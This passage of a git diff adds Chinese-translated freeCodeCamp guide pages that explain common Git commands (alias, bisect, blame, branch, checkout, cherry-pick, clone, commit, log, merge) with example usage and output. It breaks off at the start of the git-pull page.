+Git是分布式版本控制系统。 Git负责跟踪内容的变化 - 通常是源代码文件。
+
+有关更多信息，有[一篇关于Git本身](https://guide.freecodecamp.org/git)的[完整文章](https://guide.freecodecamp.org/git) 。
+
+### GitHub上
+
+GitHub是一家提供Git存储库托管的公司。这意味着它们提供了一个交钥匙解决方案，可以在其服务器上托管Git存储库。这对于保留存储库的备份非常有用（Git只跟踪随着时间的推移对文件所做的更改，仍然需要备份repo），并且有一个集中的位置来保存和共享您的代码。
+
+GitHub不仅仅是一个Git存储库托管服务，它还是一个[软件伪造](https://en.wikipedia.org/wiki/Forge_(software)) 。这意味着它还提供[问题跟踪器](https://en.wikipedia.org/wiki/Issue_tracking_system) ， [代码审查](https://en.wikipedia.org/wiki/Code_review)工具以及与其他人协作和创建软件的其他工具。
+
+GitHub不是唯一提供此类服务的人。其主要竞争对手之一是[GitLab](https://gitlab.com) 。有关这方面的更多信息，请查看[有关Git托管](https://guide.freecodecamp.org/git/git-hosting)的[文章](https://guide.freecodecamp.org/git/git-hosting) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-alias/index.md b/client/src/guide/chinese/git/git-alias/index.md
new file mode 100644
index 0000000000..758ff9eaba
--- /dev/null
+++ b/client/src/guide/chinese/git/git-alias/index.md
@@ -0,0 +1,73 @@
+---
+title: Git Aliases
+localeTitle: Git别名
+---
+## Git Alias
+
+如果您部分输入，Git不会自动推断您的命令。如果您不想键入每个Git命令的整个文本，可以使用git config轻松地为每个命令设置别名。以下是您可能想要设置的几个示例：
+
+```shell
+$ git config --global alias.co checkout 
+ $ git config --global alias.br branch 
+ $ git config --global alias.ci commit 
+ $ git config --global alias.st status 
+```
+
+这意味着，例如，您只需键入git ci，而不是键入git commit。当你继续使用Git时，你可能也经常使用其他命令;不要犹豫，创建新的别名。
+
+此技术在创建您认为应存在的命令时也非常有用。例如，要更正您在取消暂存文件时遇到的可用性问题，可以将自己的unstage别名添加到Git：
+
+```shell
+$ git config --global alias.unstage 'reset HEAD --' 
+```
+
+这使得以下两个命令等效：
+
+```shell
+$ git unstage fileA 
+ $ git reset HEAD fileA 
+```
+
+这看起来有点清楚。添加最后一个命令也很常见，如下所示：
+
+```shell
+$ git config --global alias.last 'log -1 HEAD' 
+```
+
+这样，您可以轻松地看到最后一次提交：
+
+```shell
+$ git last 
+ commit 66938dae3329c7aebe598c2246a8e6af90d04646 
+ Author: Josh Goebel <dreamer3@example.com> 
+ Date:   Tue Aug 26 19:48:51 2008 +0800 
+ 
+    test for current head 
+ 
+    Signed-off-by: Scott Chacon <schacon@example.com> 
+```
+
+```shell
+$ git config --global alias.st status --short --branch 
+```
+
+当您运行命令`git st` ，您的git状态将以漂亮，简化的格式显示。
+
+### 查看，编辑和删除别名
+
+要查看在计算机上创建的所有别名，请运行以下命令：
+
+```shell
+cat ~/.gitconfig 
+```
+
+用`nano`替换`cat`将允许您编辑它们或完全删除它们。
+
+### 别名以查看所有别名
+
+要添加别名以查看计算机上创建的所有其他别名，请添加别名
+
+```shell
+    git config --global alias.aliases 'config --get-regexp alias' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-bisect/index.md b/client/src/guide/chinese/git/git-bisect/index.md
new file mode 100644
index 0000000000..c33b2d6a3c
--- /dev/null
+++ b/client/src/guide/chinese/git/git-bisect/index.md
@@ -0,0 +1,36 @@
+---
+title: Git Bisect
+localeTitle: Git Bisect
+---
+## Git Bisect
+
+`git bisect`命令可帮助您查找在项目中添加特定更改的提交。如果您需要查找引入错误的更改，这将特别有用。
+
+此命令的工作原理是提供一个“错误”提交，其中包含错误和引入错误之前的“良好”提交。通过二进制搜索， `git bisect`将选择提交并要求您确定提交是“好”还是“坏”。这将继续，直到命令能够找到引入更改的确切提交。
+
+### Bisect命令
+
+要启动bisect会话，您将告诉git启动bisect会话，识别“坏”版本，并识别“好”版本。假设当前提交已中断但提交`4b60707`是好的，您将运行以下命令：
+
+```shell
+git bisect start 
+ git bisect bad 
+ git bisect good 4b60707 
+```
+
+Git将检查“好”和“坏”版本之间的提交，并输出如下内容：
+```
+Bisecting: 2 revisions left to test after this (roughly 2 steps) 
+```
+
+你现在应该告诉git当前的提交是否适用于`git bisect good`或者当前的提交是否被`git bisect bad`破坏了。此过程将重复，直到命令能够打印出第一个错误提交。
+
+完成后，您应该清理bisect会话。这会将HEAD重置为启动bisect会话之前的状态：
+
+```shell
+git bisect reset 
+```
+
+### 其他资源
+
+*   [Git bisect文档](https://git-scm.com/docs/git-bisect)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-blame/index.md b/client/src/guide/chinese/git/git-blame/index.md
new file mode 100644
index 0000000000..5e510efc06
--- /dev/null
+++ b/client/src/guide/chinese/git/git-blame/index.md
@@ -0,0 +1,40 @@
+---
+title: Git Blame
+localeTitle: Git Blame
+---
+## Git Blame
+
+使用`git blame`您可以看到谁在一个特定的文件中逐行更改了内容，这对于在团队中工作非常有用，而不是单独使用。例如，如果一行代码让你想知道为什么它存在，你可以使用`git blame` ，你会知道你必须要问谁。
+
+### 用法
+
+你像这样使用`git blame` ： `git blame NAME_OF_THE_FILE`
+
+例如： `git blame triple_welcome.rb`
+
+你会看到这样的输出：
+
+```shell
+0292b580 (Jane Doe      2018-06-18 00:17:23 -0500 1) 3.times do 
+ e483daf0 (John Doe      2018-06-18 23:50:40 -0500 2)   print 'Welcome ' 
+ 0292b580 (Jane Doe      2018-06-18 00:17:23 -0500 3) end 
+```
+
+每行都使用SHA，作者姓名和上次提交日期进行注释。
+
+### 别名Git Blame
+
+一些程序员不喜欢“责备”这个词，因为“指责某人”带来的负面含义。此外，该工具很少（如果有的话）用于指责某人，而是寻求建议或了解文件的历史记录。因此，有时候人们会使用别名将`git blame`改为听起来更好的东西，比如`git who` ， `git history`或`git praise` 。要做到这一点，你只需添加这样的git别名：
+
+`git config --global alias.history blame`
+
+您可以[在此处](../git-alias/index.md)找到有关别名git命令的更多信息。
+
+### 使用Git Blame的文本编辑器插件
+
+有一些插件可供各种文本编辑使用`git blame` 。例如，创建类似热图的内容或为正在检查的当前行添加内联信息。一个着名的例子是[GitLense](https://gitlens.amod.io/) for VSCode。
+
+### 进一步阅读
+
+*   [Git Blame文档](https://git-scm.com/docs/git-blame)
+*   [进一步阅读Git Blame的使用](https://corgibytes.com/blog/2016/10/18/git-blame/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-branch/index.md b/client/src/guide/chinese/git/git-branch/index.md
new file mode 100644
index 0000000000..77de387580
--- /dev/null
+++ b/client/src/guide/chinese/git/git-branch/index.md
@@ -0,0 +1,133 @@
+---
+title: Git Branch
+localeTitle: Git Branch
+---
+## Git Branch
+
+Git的分支功能允许您创建项目的新分支，以测试想法，隔离新功能或实验，而不会影响主项目。
+
+**目录**
+
+*   [查看分支机构](#view-branches)
+*   [结账分行](#checkout-a-branch)
+*   [创建一个新分支](#create-a-new-branch)
+*   [重命名分支](#rename-a-branch)
+*   [删除分支](#delete-a-branch)
+*   [比较分支](#compare-branches)
+*   [帮助Git Branch](#help-with-git-branch)
+*   [更多信息](#more-information)
+
+### 查看分支机构
+
+要查看Git存储库中的分支，请运行以下命令：
+
+```shell
+git branch 
+```
+
+要查看远程跟踪分支和本地分支，请运行以下命令：
+
+```shell
+git branch -a 
+```
+
+您当前所在的分支旁边会有一个星号（\*）。
+
+您可以使用`git branch`包含许多不同的选项来查看不同的信息。有关分支的更多详细信息，可以使用`-v` （或`-vv`或`--verbose` ）选项。分支列表将包括其名称旁边的每个分支的`HEAD`的SHA-1值和提交主题行。
+
+您可以使用`-a` （或`--all` ）选项显示本地分支以及存储库的任何远程分支。如果您只想查看远程分支，请使用`-r` （或`--remotes` ）选项。
+
+### 结账分行
+
+要签出现有分支，请运行以下命令：
+
+```shell
+git checkout BRANCH-NAME 
+```
+
+通常，除非您的工作目录是干净的，否则Git不会让您签出另一个分支，因为您将丢失任何未提交的工作目录更改。您有三种方法可以处理更改： 1）垃圾（详见[Git checkout](https://guide.freecodecamp.org/git/git-checkout/) ）或 2）提交它们（ [有关详细信息，](https://guide.freecodecamp.org/git/git-commit/)请参阅[Git提交](https://guide.freecodecamp.org/git/git-commit/) ）或 3）存储它们（ [有关详细信息，](https://guide.freecodecamp.org/git/git-stash/)请参阅[Git存储](https://guide.freecodecamp.org/git/git-stash/) ）。
+
+### 创建一个新分支
+
+要创建新分支，请运行以下命令：
+
+```shell
+git branch NEW-BRANCH-NAME 
+```
+
+请注意，此命令仅创建新分支。你需要运行`git checkout NEW-BRANCH-NAME`切换到它。
+
+有一个快捷方式可以立即创建和签出新分支。您可以使用`git checkout`传递`-b`选项（用于分支）。以下命令执行相同的操作：
+
+```shell
+# Two-step method 
+ git branch NEW-BRANCH-NAME 
+ git checkout NEW-BRANCH-NAME 
+ 
+ # Shortcut 
+ git checkout -b NEW-BRANCH-NAME 
+```
+
+创建新分支时，它将包括来自父分支的所有提交。父分支是您在创建新分支时所在的分支。
+
+### 重命名分支
+
+要重命名分支，请运行以下命令：
+
+```shell
+git branch -m OLD-BRANCH-NAME NEW-BRANCH-NAME 
+ 
+ # Alternative 
+ git branch --move OLD-BRANCH-NAME NEW-BRANCH-NAME 
+```
+
+### 删除分支
+
+Git不会让你删除你当前所在的分支。首先需要签出一个不同的分支，然后运行命令：
+
+```shell
+git branch -d BRANCH-TO-DELETE 
+ 
+ # Alternative: 
+ git branch --delete BRANCH-TO-DELETE 
+```
+
+您切换到的分支会产生影响。如果您尝试删除的分支中的更改未完全合并到当前分支中，Git将抛出错误。你可以覆盖它并强制Git删除带有`-D`选项的分支（注意大写字母）或使用`--force`选项和`-d`或`--delete` ：
+
+```shell
+git branch -D BRANCH-TO-DELETE 
+ 
+ # Alternatives 
+ git branch -d --force BRANCH-TO-DELETE 
+ git branch --delete --force BRANCH-TO-DELETE 
+```
+
+### 比较分支
+
+您可以使用`git diff`命令比较分支：
+
+```shell
+git diff FIRST-BRANCH..SECOND-BRANCH 
+```
+
+你会看到分支之间变化的彩色输出。对于所有已更改的行， `SECOND-BRANCH`版本将是以“+”开头的绿线， `FIRST-BRANCH`版本将是以“ - ”开头的红线。如果您不希望Git为每次更改显示两行，则可以使用`--color-words`选项。相反，Git将以红色显示一行删除的文本，并以绿色添加文本。
+
+如果要查看完全合并到当前分支的所有分支的列表（换句话说，当前分支包括列出的其他分支的所有更改），请运行命令`git branch --merged` 。
+
+### 帮助Git Branch
+
+如果您忘记了如何使用选项，或想要探索`git branch`命令的其他功能，您可以运行以下任何命令：
+
+```shell
+git help branch 
+ git branch --help 
+ man git-branch 
+```
+
+### 更多信息：
+
+*   `git merge`命令： [fCC指南](https://guide.freecodecamp.org/git/git-merge/)
+*   `git checkout`命令： [fCC指南](https://guide.freecodecamp.org/git/git-checkout/)
+*   `git commit`命令： [fCC指南](https://guide.freecodecamp.org/git/git-commit/)
+*   `git stash`命令： [fCC指南](https://guide.freecodecamp.org/git/git-stash/)
+*   Git文档： [分支](https://git-scm.com/docs/git-branch)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-checkout/index.md b/client/src/guide/chinese/git/git-checkout/index.md
new file mode 100644
index 0000000000..e764816d5e
--- /dev/null
+++ b/client/src/guide/chinese/git/git-checkout/index.md
@@ -0,0 +1,73 @@
+---
+title: Git Checkout
+localeTitle: Git Checkout
+---
+## Git Checkout
+
+`git checkout`命令在分支之间切换或恢复工作树文件。此命令有许多不同的选项，这里不会介绍，但您可以在[Git文档中](https://git-scm.com/docs/git-checkout)查看所有这些选项。
+
+### 签出特定提交
+
+要签出特定的提交，请运行以下命令：
+
+```shell
+git checkout specific-commit-id 
+```
+
+我们可以通过运行获取特定的提交ID：
+
+```shell
+git log 
+```
+
+### 签出现有分支
+
+要签出现有分支，请运行以下命令：
+
+```shell
+git checkout BRANCH-NAME 
+```
+
+通常，除非您的工作目录是干净的，否则Git不会让您签出另一个分支，因为您将丢失任何未提交的工作目录更改。您有三种方法可以处理您的更改：1）删除它们，2） [提交它们](https://guide.freecodecamp.org/git/git-commit/) ，或3） [存储它们](https://guide.freecodecamp.org/git/git-stash/) 。
+
+### 结帐新分行
+
+要使用单个命令创建和签出新分支，您可以使用：
+
+```shell
+git checkout -b NEW-BRANCH-NAME 
+```
+
+这将自动切换到新分支。
+
+### 签出新分支或将分支重置为起点
+
+以下命令类似于检出新分支，但使用`-B` （注意captital B）标志和可选的`START-POINT`参数：
+
+```shell
+git checkout -B BRANCH-NAME START-POINT 
+```
+
+如果`BRANCH-NAME`分支不存在，Git将创建它并在`START-POINT`处启动它。如果`BRANCH-NAME`分支已经存在，则Git将分支重置为`START-POINT` 。这相当于使用`-f`运行`git branch` 。
+
+### 强制结账
+
+您可以使用`git checkout`命令传递`-f`或`--force`选项以强制Git切换分支，即使您有未分阶段的更改（换句话说，工作树的索引与`HEAD`不同）。基本上，它可以用来抛弃局部变化。
+
+当您运行以下命令时，Git将忽略未合并的条目：
+
+```shell
+git checkout -f BRANCH-NAME 
+ 
+ # Alternative 
+ git checkout --force BRANCH-NAME 
+```
+
+### 撤消工作目录中的更改
+
+您可以使用`git checkout`命令撤消对工作目录中的文件所做的更改。这会将文件还原为`HEAD`的版本：
+
+```shell
+git checkout -- FILE-NAME 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-cherry-pick/index.md b/client/src/guide/chinese/git/git-cherry-pick/index.md
new file mode 100644
index 0000000000..d5bf6819a3
--- /dev/null
+++ b/client/src/guide/chinese/git/git-cherry-pick/index.md
@@ -0,0 +1,47 @@
+---
+title: Git Cherry Pick
+localeTitle: Git Cherry Pick
+---
+## Git Cherry Pick
+
+`git cherry-pick`命令应用某些现有提交引入的更改。本指南将重点介绍尽可能多地解释此功能，但当然真正的[Git文档](https://git-scm.com/docs/git-cherry-pick)将总是派上用场。
+
+### 从主人那里查看现有的分支樱桃选择
+
+要应用主分支顶端的提交引入的更改，并使用此更改创建新的提交。运行以下命令
+
+```shell
+git cherry-pick master 
+```
+
+### 检查来自其他提交的更改
+
+要将提交引入的更改应用于所需的特定哈希值，请运行以下命令
+
+```shell
+git cherry-pick {HASHVALUE} 
+```
+
+这会将该提交中引用的更改添加到当前存储库
+
+### 从一个分支到另一个分支应用某些提交
+
+`cherry-pick`允许您在从一个分支到另一个分支的提交之间进行选择。假设您有两个分支`master`和`develop-1` 。在分支`develop-1`你有3个提交，提交ID为`commit-1` ， `commit-2`和`commit-3` 。在这里，您只能通过以下方式将`commit-2`应用于分支`master` ：
+
+```shell
+git checkout master 
+ git cherry-pick commit-2 
+```
+
+如果此时遇到任何冲突，您必须修复它们并使用`git add`添加它们，然后您可以使用continue标志来应用cherry-pick。
+
+```shell
+git cherry-pick --continue 
+```
+
+如果您希望中途使用樱桃挑选，您可以使用中止标志：
+
+```shell
+git cherry-pick --abort 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-clone/index.md b/client/src/guide/chinese/git/git-clone/index.md
new file mode 100644
index 0000000000..f1d16e6682
--- /dev/null
+++ b/client/src/guide/chinese/git/git-clone/index.md
@@ -0,0 +1,55 @@
+---
+title: Git Clone
+localeTitle: Git Clone
+---
+## Git Clone
+
+`git clone`命令允许您将远程存储库复制到本地计算机上。
+
+首先，找到您正在处理或感兴趣的项目的远程存储库 - 这也可以是您项目的分支。接下来，复制它的URL。例如，如果您已经分叉了freeCodeCamp指南库，则URL看起来像`https://github.com/YOUR-GITHUB-USERNAME/guides.git` 。
+
+在本地计算机的命令行中，导航到要在项目工作目录中保存项目的位置。最后，运行`git clone`命令：
+
+```shell
+git clone URL-OF-REPOSITORY 
+```
+
+计算机上新目录的默认名称是存储库的名称，但您可以通过包含最后一个（可选）参数来更改此名称：
+
+```shell
+git clone URL-OF-REPOSITORY NAME-OF-DIRECTORY-ON-COMPUTER 
+```
+
+Git为遥控器提供了别名“origin”。当您想要将更改推送到远程服务器或从中提取更改时，这是引用远程的有用方法。有关更多详细信息，请参阅[Git push](https://guide.freecodecamp.org/git/git-push/)和[Git pull](https://guide.freecodecamp.org/git/git-pull/) 。
+
+Git只将遥控器的主分支拉到您的计算机上。该分支通常按惯例命名为“主”，但根据项目可能会有不同的定义。
+
+此外，Git会自动设置您的本地主分支以跟踪远程分支。当您运行`git status` ，您将看到有关您的本地分支是否与远程数据库最新的信息。这是一个示例输出：
+
+```shell
+myCommandPrompt (master) >> git status 
+ On branch master 
+ Your branch is up-to-date with 'origin/master'. 
+ nothing to commit, working tree clean 
+ myCommandPrompt (master) >> 
+```
+
+如果您的本地`master`分支有三个提交尚未推送到远程服务器，则状态将显示“您的分支在3个提交之前超过'origin / master'。”
+
+### Git Clone Mirror
+
+如果要托管存储库的镜像，可以使用mirror参数。
+
+```shell
+git clone URL-OF-REPOSITORY --mirror 
+```
+
+镜像存储库后，您可以从服务器克隆本地镜像。
+
+```shell
+git clone NAME-OF-DIRECTORY-ON-COMPUTER 
+```
+
+### 更多信息：
+
+*   Git文档： [克隆](https://git-scm.com/docs/git-clone)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-commit/index.md b/client/src/guide/chinese/git/git-commit/index.md
new file mode 100644
index 0000000000..ab5103ba1b
--- /dev/null
+++ b/client/src/guide/chinese/git/git-commit/index.md
@@ -0,0 +1,104 @@
+---
+title: Git Commit
+localeTitle: Git Commit
+---
+## Git Commit
+
+`git commit`命令将在本地存储库的“提交”中保存所有暂存的更改以及用户的简要描述。
+
+提交是Git使用的核心。您可以将提交视为项目的快照，其中在当前存储库中创建该项目的新版本。提交的两个重要特征是：
+
+*   您可以在以后调用提交的更改，或将项目还原到该版本（ [请参阅Git checkout](https://guide.freecodecamp.org/git/git-checkout) ）
+*   如果多个提交编辑项目的不同部分，即使提交的作者彼此不知道，它们也不会相互覆盖。这是使用Git而不是像Dropbox或Google Drive这样的工具的好处之一。
+
+### 选项
+
+`git commit`可以包含许多选项。但是，本指南仅涵盖两个最常见的选项。有关广泛的选项列表，请参阅[Git文档](https://git-scm.com/docs/git-commit) 。
+
+#### \-m选项
+
+与`git commit`一起使用的最常见选项是`-m`选项。 `-m`代表消息。调用`git commit` ，需要包含一条消息。该消息应该是对提交的更改的简短描述。消息应该在命令的末尾，并且必须用引号`" "`包装。
+
+如何使用`-m`选项的示例：
+
+```shell
+git commit -m "My message" 
+```
+
+终端中的输出应如下所示：
+
+```shell
+[master 13vc6b2] My message 
+ 1 file changed, 1 insertion(+) 
+```
+
+**注意：**如果`git commit`命令中不包含`-m` ，系统将提示您在默认文本编辑器中添加消息 - 请参阅下面的“使用详细提交消息”。
+
+#### \-a选项
+
+另一个流行的选择是`-a`选项。 `-a`代表所有人。此选项自动分阶段提交所有已修改的文件。如果添加了新文件， `-a`选项将不会暂存这些新文件。只提交Git存储库知道的文件。
+
+例如：
+
+假设您有一个已经提交到存储库的`README.md`文件。如果对此文件进行了更改，则可以使用commit命令中的`-a`选项暂存并将更改添加到存储库。但是，如果您还添加了一个名为`index.html`的新文件，该怎么办？ `-a`选项不会对`index.html`因为它当前不存在于存储库中。添加新文件时，应调用`git add`命令以便在将文件提交到存储库之前对其进行分段。
+
+如何使用`-a`选项的示例：
+
+```shell
+git commit -am “My new changes” 
+```
+
+终端中的输出应如下所示：
+
+```shell
+[master 22gc8v1] My new message 
+ 1 file changed, 1 insertion(+) 
+```
+
+### 使用详细的提交消息
+
+尽管`git commit -m "commit message"`工作得很好，但提供更详细和系统的信息会很有用。
+
+如果您在不使用`-m`选项的情况下提交，git将使用新文件打开您的默认文本编辑器，该文件将包含提交中暂存的所有文件/更改的注释列表。然后编写详细的提交消息（第一行将被视为主题行），并在保存/关闭文件时执行提交。
+
+记住：
+
+*   保持您的提交消息行长度小于72个字符作为标准做法
+*   完全可以 - 甚至建议 - 编写多行提交消息
+*   您还可以在提交消息中引用其他问题或提取请求。 GitHub为所有拉取请求和问题分配了一个数字引用，例如，如果你想引用拉请求＃788，只需在主题行或正文中适当地这样做
+
+#### \--amend选项
+
+`--amend`选项允许您更改上次提交。假设您刚刚提交，并且您在提交日志消息中犯了一个错误。您可以使用以下命令方便地修改最近的提交：
+
+```shell
+git commit --amend -m "an updated commit message" 
+```
+
+如果您忘记在提交中包含文件：
+
+```shell
+git add FORGOTTEN-FILE-NAME 
+ git commit --amend -m "an updated commit message" 
+ 
+ # If you don't need to change the commit message, use the --no-edit option 
+ git add FORGOTTEN-FILE-NAME 
+ git commit --amend --no-edit 
+```
+
+在您的日常开发过程中，过早提交会一直发生。很容易忘记暂存文件或如何正确格式化提交消息。 `--amend`标志是修复这些小错误的便捷方法。此命令将使用命令中指定的更新消息替换旧的提交消息。
+
+修改后的提交实际上是全新的提交，之前的提交将不再在您当前的分支上。当您与其他人合作时，如果最后一次提交已经被推入存储库，您应该尽量避免修改提交。
+
+随着`--amend` ，您可以使用有用的标志之一是`--author` ，使您能够改变最后的作者提交您所做。想象一下你没有在git配置中正确设置你的名字或电子邮件的情况，但你已经提交了一个提交。使用`--author`标志，您只需更改它们而无需重置最后一次提交。
+```
+git commit --amend --author="John Doe <johndoe@email.com>" 
+```
+
+#### \-v或--verbose选项
+
+使用`-v`或`--verbose`选项时不使用`-m`选项。当您希望在默认编辑器中编辑Git提交消息，同时能够看到您为提交所做的更改时， `-v`选项非常有用。该命令将打开您的默认文本编辑器，其中包含提交消息模板_以及_您为此提交所做的更改的副本。更改或差异不会包含在提交消息中，但是当您在提交消息中描述更改时，它们提供了一种很好的方式来引用您的更改。
+
+### 更多信息：
+
+*   Git文档： [提交](https://git-scm.com/docs/git-commit)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-fetch/index.md b/client/src/guide/chinese/git/git-fetch/index.md
new file mode 100644
index 0000000000..682202b9d2
--- /dev/null
+++ b/client/src/guide/chinese/git/git-fetch/index.md
@@ -0,0 +1,7 @@
+---
+title: Git Fetch
+localeTitle: Git Fetch
+---
+## Git Fetch
+
+`git fetch` git-fetch - 从另一个存储库下载对象和引用
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-hooks/index.md b/client/src/guide/chinese/git/git-hooks/index.md
new file mode 100644
index 0000000000..2c495e4762
--- /dev/null
+++ b/client/src/guide/chinese/git/git-hooks/index.md
@@ -0,0 +1,17 @@
+---
+title: Git Hooks
+localeTitle: Git Hooks
+---
+## Git Hooks
+
+Git Hooks是位于git存储库的`.git/hooks/`目录中的脚本。这些脚本在版本控制过程中的不同阶段触发后运行。
+
+### 样品
+
+在这个目录中有一些示例脚本，例如`pre-commit.sample` 。每次用户运行`git commit`时，此特定示例都会运行。如果钩子脚本以0以外的状态退出，则提交将停止。
+
+### 文档
+
+*   [Git Hooks的文档](https://git-scm.com/docs/githooks)
+*   [关于Git Hooks的Atlassian教程](https://www.atlassian.com/git/tutorials/git-hooks)
+*   [Git Hooks指南](http://githooks.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-hosting/index.md b/client/src/guide/chinese/git/git-hosting/index.md
new file mode 100644
index 0000000000..74ef8917df
--- /dev/null
+++ b/client/src/guide/chinese/git/git-hosting/index.md
@@ -0,0 +1,11 @@
+---
+title: Git hosting
+localeTitle: Git托管
+---
+## Git托管
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/git/git-hosting/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-log/index.md b/client/src/guide/chinese/git/git-log/index.md
new file mode 100644
index 0000000000..3114ae28ea
--- /dev/null
+++ b/client/src/guide/chinese/git/git-log/index.md
@@ -0,0 +1,124 @@
+---
+title: Git Log
+localeTitle: Git Log
+---
+## Git Log
+
+`git log`命令显示存储库历史记录中的所有提交。
+
+默认情况下，该命令显示每个提交的：
+
+*   安全散列算法（SHA）
+*   作者
+*   日期
+*   提交消息
+
+### 浏览Git日志
+
+Git使用Less终端分页器来浏览提交历史记录。您可以使用以下命令进行导航：
+
+*   向下滚动一行，使用j或↓
+*   要向上滚动一行，请使用k或↑
+*   要向下滚动一页，请使用空格键或Page Down按钮
+*   要向上滚动一页，请使用b或Page Up按钮
+*   要退出日志，请使用q
+
+### Git Log Flags
+
+您可以使用标志自定义`git log`提供的信息。
+
+#### \- 一条线
+
+`git log --oneline`
+
+`--oneline`标志导致`git log`显示
+
+*   每行一次提交
+*   SHA的前七个字符
+*   提交消息
+
+#### \--stat
+
+`git log --stat`
+
+`--stat`标志导致`git log`显示
+
+*   每次提交中修改的文件
+*   添加或删除的行数
+*   包含已更改的文件和行总数的摘要行
+
+#### \--patch或-p
+
+`git log --patch`
+
+或者，较短的版本
+
+`git log -p`
+
+`--patch`标志会显示`git log`
+
+*   您修改的文件
+*   您添加或删除的行的位置
+*   您所做的具体更改
+
+### 按作者查看指定的提交数
+
+要查看作者对当前仓库的指定提交次数（可选择以美化格式），可以使用以下命令
+
+`git log --pretty=format:"%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset" -n {NUMBER_OF_COMMITS} --author="{AUTHOR_NAME}" --all`
+
+#### 从特定提交开始
+
+要在特定提交时启动`git log` ，请添加SHA：
+
+`git log 7752b22`
+
+这将显示SHA 7752b22的提交以及在提交之前进行的所有提交。您可以将其与任何其他标志结合使用。
+
+#### \- 图形
+
+`git log --graph`
+
+`--graph`标志使您可以将`git log`视为图形。为了使事情变得有趣，您可以将此命令与从上面学习的`--oneline`选项结合使用。
+
+`git log --graph --oneline`
+
+输出类似于，
+```
+* 64e6db0 Update index.md 
+ * b592012 Update Python articles (#5030) 
+ * ecbf9d3 Add latest version and remove duplicate link (#8860) 
+ * 7e3934b Add hint for Compose React Components (#8705) 
+ * 99b7758 Added more frameworks (#8842) 
+ * c4e6a84 Add hint for "Create a Component with Composition" (#8704) 
+ *   907b004 Merge branch 'master' of github.com:freeCodeCamp/guide 
+ |\ 
+ | * 275b6d1 Update index.md 
+ * |   cb74308 Merge branch 'dogb3rt-patch-3' 
+ |\ \ 
+ | |/ 
+ |/| 
+ | *   98015b6 fix merge conflicts after folder renaming 
+ | |\ 
+ |/ / 
+ | * fa83460 Update index.md 
+ * | 6afb3b5 rename illegally formatted folder name (#8762) 
+ * | 64b1fe4 CSS3: border-radius property (#8803) 
+```
+
+使用此命令的一个好处是，它使您能够概述提交已合并的方式以及如何创建git历史记录。
+
+您可以将其他选项与`--graph`结合使用。他们中的`--decorate`是`--decorate`和`--all` 。一定要尝试这些。有关更多有用的信息，请参阅[文档](https://git-scm.com/docs/git-log) 。
+
+#### 更多信息：
+
+*   [Git Basics - 查看提交历史记录](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History)
+*   [Git Log](https://git-scm.com/docs/git-log)
+
+##### 关于Git的其他资源，请访问guide.freecodecamp.org
+
+*   [Git Merge](../git-merge/index.md)
+*   [Git Checkout](../git-checkout/index.md)
+*   [Git Commit](../git-commit/index.md)
+*   [Git Stash](../git-stash/index.md)
+*   [Git Branch](../git-branch/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-merge/index.md b/client/src/guide/chinese/git/git-merge/index.md
new file mode 100644
index 0000000000..3d90726b92
--- /dev/null
+++ b/client/src/guide/chinese/git/git-merge/index.md
@@ -0,0 +1,61 @@
+---
+title: Git Merge
+localeTitle: Git Merge
+---
+## Git Merge
+
+`git merge`命令会将对单独分支上的代码库所做的任何更改合并到当前分支。
+
+命令语法如下：
+
+```shell
+git merge BRANCH-NAME 
+```
+
+例如，如果您当前正在一个名为`dev`的分支中工作，并且想要合并在名为`new-features`的分支中进行的任何新更改，那么您将发出以下命令：
+
+```shell
+git merge new-features 
+```
+
+**请注意：**如果当前分支上有任何未提交的更改，Git将不允许您合并，直到当前分支中的所有更改都已提交。要处理这些更改，您可以：
+
+*   创建一个新分支并提交更改
+
+```shell
+git checkout -b new-branch-name 
+ git add . 
+ git commit -m "<your commit message>" 
+```
+
+*   存放它们
+
+```shell
+git stash               # add them to the stash 
+ git merge new-features  # do your merge 
+ git stash pop           # get the changes back into your working tree 
+```
+
+*   放弃一切
+
+```shell
+git reset --hard        # removes all pending changes 
+```
+
+## 合并冲突
+
+合并冲突是指您在不同的分支上进行提交，这些分支以冲突的方式更改同一行。因此Git不会知道要保留哪个版本的文件
+
+导致错误消息：
+
+CONFLICT（内容）：在resumé.txt中合并冲突 自动合并失败;修复冲突，然后提交结果。
+
+在代码编辑器中，Git使用标记来指示文件的HEAD（主）版本以及文件的其他版本。
+
+`<<<<<<< HEAD`
+
+`>>>>>>> OTHER`
+
+从代码编辑器中删除/更新以解决冲突并删除包括HEAD和OTHER文件名的特殊标记，重新加载文件，然后重新添加并重新发送更改。
+
+有关`git merge`命令和所有可用选项的更多信息，请参阅[Git文档](https://git-scm.com/docs/git-merge) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/git/git-pull/index.md b/client/src/guide/chinese/git/git-pull/index.md
new file mode 100644
index 0000000000..3fa2ff5f6e
--- /dev/null
+++ b/client/src/guide/chinese/git/git-pull/index.md
@@ -0,0 +1,123 @@
+---
+title: Git Pull
+localeTitle: Git Pull
+---
+## Git Pull
+
+`git pull`是一个Git命令，用于从远程更新存储库的本地版本。
+
+它是Git提示网络交互的四个命令之一。默认情况下， `git pull`做两件事。
+
+1.  更新当前本地工作分支（当前已检出分支）
+2.  更新所有其他分支的远程跟踪分支。
+
+`git pull` fetches（ `git fetch` ）新提交并将它们合并[（ `git merge` ）](https://guide.freecodecamp.org/git/git-merge)到你的本地分支中。
+
+该命令的语法如下：
+
+```shell
+# General format 
